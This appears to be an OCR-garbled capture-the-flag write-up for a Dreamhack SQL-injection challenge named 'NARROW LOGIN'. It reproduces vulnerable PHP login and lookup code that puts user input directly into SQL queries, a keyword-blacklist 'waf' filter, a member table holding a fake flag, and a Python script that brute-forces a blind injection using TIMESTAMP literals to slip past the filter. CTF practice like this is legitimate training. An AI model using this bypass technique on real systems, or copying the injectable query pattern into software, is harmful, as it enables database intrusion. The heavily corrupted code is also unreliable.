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NARROW LOGIN




login.php M

if(isset(% POST[ "username’]) && isset($ POST[ 'password’])){
error_reporting( E_ALL );
ini set( "display errors”, 1 );

include(“config/config.php”);
include("config/function.php™);

$username = waft($ POST[ "username’]);
$password = waf($ POST[ 'password’]);

$query = $conn->query("SELECT username FROM members WHERE username="$username’ and password="$password’'”);
fres = fquery->fetch_all();

if(!%res){
alert("Not Found User™);
jelse{

$ SESSION[ "username’] = % POST[ "username’];
location alert(“Hello User!™, "/home.php");
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if(isset($ GET[ 'username’]) && isset($ GET[ 'email’])){

fusername = waf($ _GET[ 'username’]);
$email = waf($ GET[ 'email’'], true);

$query = $conn->query("SELECT * FROM members WHERE username='$username’ and email='$email'");
$res = $guery->fetch_assoc();
if(!%res){
alert("Not Found :(");

Jelsef

username’ | ;
email’];
comment']; ?
regdate’ |

.
»

fquery = $conn->query("SELECT * FROM members");
while{$res = mysqli fetch_assoc($query)){

if($res['role’'] == "admin’){

<td colspan=4>** NO PERMISSION **</td>

$res[ ‘username’];
$res[ ‘email’];

$res[ comment’];
$resm'regdate'm; Fraf




e =

function waf($data, $special = false, $len=96){

ftiltered = False;

# length check
if(strlen($data) » $len){
ffiltered = True;
}
#blacklist waft
if(preg match("/role|username|password|email |comment/is", $data)
H
$riltered = True;
}
#blacklist waf
if(preg match("/limit|between|regexp|sounds|true|false|binary|not|file|rlike|div|group|by|having|union|mod|%|@b|ex|x"/is",$data)){
ffiltered = True;

#regdate injection filtering

B

ffiltered = True;
}

# whitelist waf
if($special){
if(!preg match{"/*[a-zA-Z8-9\x60\x27\x48\x20]+%$/is", $data)){
ffiltered = True;

.
}
telse{
if(!preg match{"/*[a-zA-728-9]+%/is",%data)){
$filtered = True;

e

if($filtered)
alert({"no hack!™);
die();

return $data;



MEMLErS tlol@

CREATE TAELE “members™ (
“username” varchar(16e) NOT NULL,
“password” varchar(16e) NOT NULL,
“email” wvarchar(50) NOT NULL,
“comment” wvarchar(288) DEFAULT "hello everyone’,
“role” varchar(28) NOT NULL,
"regdate” timestamp NOT WULL DEFAULT CURRENT TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latinl;
/*148181 SET character _set client = (@saved cs client */;

-- Dumping data for table "members’

LOCK TABLES "members™ WRITE;

/*1498668 ALTER TABLE “members” DISABLE KEYS */;

INSERT INTO “members™ VALUES ( guestl’, 'guestl’, "guestlggmail.com’, "hi my name is me2nuk’, "'guest’, "'2821-82-83 14:23:437),
( "guest2’, "guest2’, "guest2@ggmail.com’, "duck duck duck’, "'guest’, " 2821-862-84 82:23:54"),

( "guest3’, "pguest3d’, "guest3@gmail.com’, "bob is rice’,"pguest’, "2821-85-23 18:12:83"),

( "<**DELETE**>»", "<**DELETE**>»", "¢**DELETE**>", "<**DELETE**>", "admin’, "<**DELETE**>"),

(" <**DELETE**>", '<**DELETE**>", '¢**DELETE**>", 'BISC{this is fake flagl','admin’','<**DELETE**>'},

( "guestd’, "guestd’, "guestdggmail.com’, "https://teamhdc.com’, "guest’, "2821-85-23 18:14:84"),

( 'guests’, "guest5’, "guestS@gmail.com’, "https://www.youtube.com/watch?v=dQuwdwongXcQ&feature=youtu.be’, "guest’, 2621-85-24 19:85:02");
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mysql> SELECT TIMESTAMP'2012712431 11*30%45"';

TIMESTAMP' 2012712731 11*30%45° |
2012-12-31 11:30:45 |
1 ® select timestamp'28218283232343°
Result Grid | £ 4% Fiter Rows E
timestamp'20210203232343

v [ 2021-02-03 23:23:43
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import requ .
from bs4 import BeautifulSoup
a=a
for 1 in range(12,15):
for j in range(4,60):

webpage = requests.get("http://host3.dreamhack.games:16414/home.php?username=ademail-%270r%20regdate®26L IKEAX28TIMESTAMPY272621052463
soup = BeautifulSoup(webpage.content, "html.parser™)
if "@" in str(soup):
print(soup)
a=1
break
if a == 1:
break

r(i)+str({j)+"%20#")




< /thead>

<tr>»

<td>

<td>»
<td»BISC{r™ ="~ 0"
<td»>2821-85-24 @3:
<ftre

</table>

</body>

</html>




AIRUEHS!

it(1sset($ POST|[ "username’|) && isset($ POST[ password’ ])){
error_reporting( E_ALL );
ini set( "display errors”™, 1 );

include(“"conftig/config.php™);
include{“config/function.php™);

wat($_POST[ "username’]);
wat($ POST[ "password’]);

fusername
$password

fquery = $conn->query( SELECT username FROM members WHERE username='$username’ and password="$jpassword " );
fres = fquery->fetch_all();

if{!1$res){
alert(“"Not Found User™);
telsef
$ SESSION| "username’ ] = $ POST[ "username’];
location alert("Hello User!™, "/home.php™);

-I-
J



Sk

GH
function waf({$data, $special = false, $len=96){

$filtered = False;

# length check

if(strlen($data) > $len){
$filtered = True;

3=

blacklist waf
if(preg match("/role|username|password|email |comment/is", $data)
M

$filtered = True;
¥
#blacklist wa
if(preg match("/limit|between|regexp|sounds|true|false|binary|not|file|rlike|div|group|by|having|union|mod|%|@b|ex|x"/is",%data)){
$filtered = True;

#regdate injection filtering

uuuuuuuuuuuuuuuuuuu

$filtered = True;
¥

# whitelist waf
if($special){

if(!preg match("/*[a2-zA-78-9\x60\x27\x48\x26 |+$/1s", $data)){
$filtered = True;

.
}
telseq
if(!preg match{"/"[a-zA-78-9]+%/is",%data)){
$filtered = True;

—_

I

if($filtered){
alert("no hack!™);
die();

I

return $data;
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if(isset($ GET['username’]) && isset($ GET[ 'email’])){

$username = waf($_GET[ ‘username’]);
$email = waf($ GET[ 'email'], tru

$query = $conn->query CT * | members WHERE username='$username’
$res = $query->fetch_assoc();

username "’

p echo $res|

p echo $res['email’];
[
[

n echo $res
0 echo $res

comment’];

regdate’];

telse{

fquery = $conn->query( ECT * | members");

while($res = mysqli_fetch_assoc($query)}{

if($res[ 'role == "admin’){

colspan=4>** NO PERMISSION

echo $res[ 'username’]
0 echo $res['email’];
p echo $res[ ' comment’];
echo $resm'regdate

email="$email"");

n waf($data, §special = f

$filtered = False;

if(strlen($data) » $len){
$filtered = True;

if(preg_match
gfiltered = Tr
if{preg_match

$filtered = True;

if(preg_match(
gfiltered = Tr

f(!preg_match(
sfiltered -

if($filtered

eturn data;

,Bdata)

if(isset($_POST['

error_reportin,
ini_set(

fusername
$password =

$query = $conn->query("s
$res = $query->fetch_al

if(!$res){

$_SESSION[ "u

location_alert("He

name="$username’

"$password'");







